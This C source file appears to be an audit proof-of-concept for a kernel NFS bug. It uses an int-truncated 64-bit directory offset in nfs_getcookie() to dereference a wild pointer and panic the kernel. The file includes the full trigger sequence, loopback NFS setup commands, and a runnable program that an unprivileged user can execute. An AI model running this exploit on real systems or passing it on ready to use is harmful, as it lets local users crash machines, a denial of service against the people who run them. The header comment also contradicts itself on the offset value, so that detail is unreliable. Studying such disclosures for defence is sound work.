/*
 * DF-0810 - nfs_getcookie() OOB array index via int truncation of 64-bit dir offset
 *
 * Bug: sys/vfs/nfs/nfs_subs.c:1341
 *   int pos;
 *   pos = (uoff_t)off / NFS_DIRBLKSIZ;   // 64-bit quotient truncated to int
 *
 * Trigger sequence (unprivileged user with read access to an NFS directory
 * that has more than NFS_DIRBLKSIZ (4096) bytes of entries):
 *
 *   1. open(dir) + getdents(small buf)  -- populates the cookie cache list
 *      (nfs_getcookie add=1 at nfs_vnops.c:2699) WITHOUT reaching EOF, so
 *      np->n_direofoffset stays 0 and the nfs_bioread EOF gate at
 *      nfs_bio.c:285-289 does NOT short-circuit the next read.
 *   2. lseek(fd, (2^31+1)*4096, SEEK_SET)
 *      vn_seek (vfs_vnops.c:1341) only rejects NEGATIVE offsets for VDIR;
 *      the large positive offset 8796093022208 is accepted.
 *   3. getdents() -> VOP_READ -> nfs_bioread (n_direofoffset==0, gate passes)
 *      -> nfs_getcacheblk(wild_offset) -> nfs_doio (bio_offset=wild)
 *      -> nfs_readdirrpc_uio -> nfs_getcookie(np, 8796093022208, 0):
 *           pos = 8796093022208 / 4096 = 2147483649 (0x80000001)
 *           truncated to int -> -2147483647
 *           pos-- -> INT_MIN (-2147483648)
 *           while (pos >= 31) skipped (negative)
 *           if (pos >= ndm_eocookie) skipped (negative < anything >= 0)
 *           return &dp->ndm_cookies[-2147483648]   // WILD pointer
 *      Caller (nfs_vnops.c:2518-2519): cookie = *cookiep
 *      -> DEREFERENCE of wild pointer -> page fault -> kernel PANIC.
 *
 * Precondition (acceptable per audit realism test):
 *   An admin has set up a loopback NFS export readable by maxx:
 *     service rpcbind onestart
 *     service mountd onestart
 *     service nfsd onestart
 *     echo "/nfsroot -maproot=root -network 127.0.0.0 -mask 255.0.0.0" > /etc/exports
 *     mount_nfs 127.0.0.1:/nfsroot /mnt
 *     mkdir -p /nfsroot/bigdir
 *     (cd /nfsroot/bigdir && i=1; while [ $i -le 500 ]; do touch f$i; i=$((i+1)); done)
 *     chown -R maxx:maxx /nfsroot/bigdir
 *
 * Usage: ./nfs_getcookie_oob /mnt/bigdir
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

/*
 * Off = (2^31 + 1) * 4096 = 8796093026304
 * Quotient (uoff_t) / 4096 = 0x80000001 = 2147483649 -> int = -2147483647
 * pos-- -> INT_MIN (-2147483648).  Wild &ndm_cookies[INT_MIN] deref -> page fault.
 *
 * NOTE: if we used (2^31)*4096 instead, quotient=0x80000000=INT_MIN, and
 * pos-- (UB on x86 wraps to INT_MAX) would enter the while(pos>=31) loop
 * and return NULL (NFSERR_BAD_COOKIE), NOT a wild pointer. The +1 matters.
 */
#define WILD_OFF   ((off_t)8796093026304LL)

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/bigdir";
	int fd;
	off_t r;
	char buf[4096];
	ssize_t n;

	fd = open(path, O_RDONLY | O_DIRECTORY);
	if (fd < 0) {
		perror(path);
		return 2;
	}

	/* Step 1: partial getdents to populate the cookie cache (nfsdmap list
	 * gets at least one entry via nfs_getcookie add=1 at nfs_vnops.c:2699)
	 * WITHOUT reaching EOF (directory has >4096 bytes of entries).
	 * This keeps np->n_direofoffset == 0 so the nfs_bioread EOF gate
	 * at nfs_bio.c:285-289 does not short-circuit the next read. */
	n = getdents(fd, buf, sizeof(buf));
	if (n < 0) {
		perror("step1 getdents");
		close(fd);
		return 2;
	}
	fprintf(stderr, "[*] step1 partial getdents -> %zd bytes "
		"(cookie cache populated, n_direofoffset still 0)\n", n);

	/* Step 2: seek to the wild offset. vn_seek only rejects negative for
	 * VDIR, so this large positive offset is accepted. */
	r = lseek(fd, WILD_OFF, SEEK_SET);
	if (r < 0) {
		perror("step2 lseek");
		close(fd);
		return 2;
	}
	fprintf(stderr, "[*] step2 lseek -> %lld (0x%llx); "
		"quotient 0x80000001 trunc to int = -2147483647\n",
		(long long)r, (unsigned long long)r);

	/* Step 3: getdents drives VOP_READ -> nfs_bioread (n_direofoffset==0,
	 * gate passes) -> nfs_getcacheblk(wild) -> nfs_doio (bio_offset=wild)
	 * -> nfs_readdirrpc_uio -> nfs_getcookie(np, WILD_OFF, 0)
	 * -> returns &dp->ndm_cookies[INT_MIN] -> caller derefs -> PANIC. */
	fprintf(stderr, "[*] step3 getdents() - about to dereference "
		"&ndm_cookies[INT_MIN] -> expect kernel panic\n");
	fflush(stderr);
	n = getdents(fd, buf, sizeof(buf));
	fprintf(stderr, "[!] getdents returned %zd (errno=%d: %s) - NO PANIC\n",
		n, errno, strerror(errno));
	close(fd);
	return 0;
}
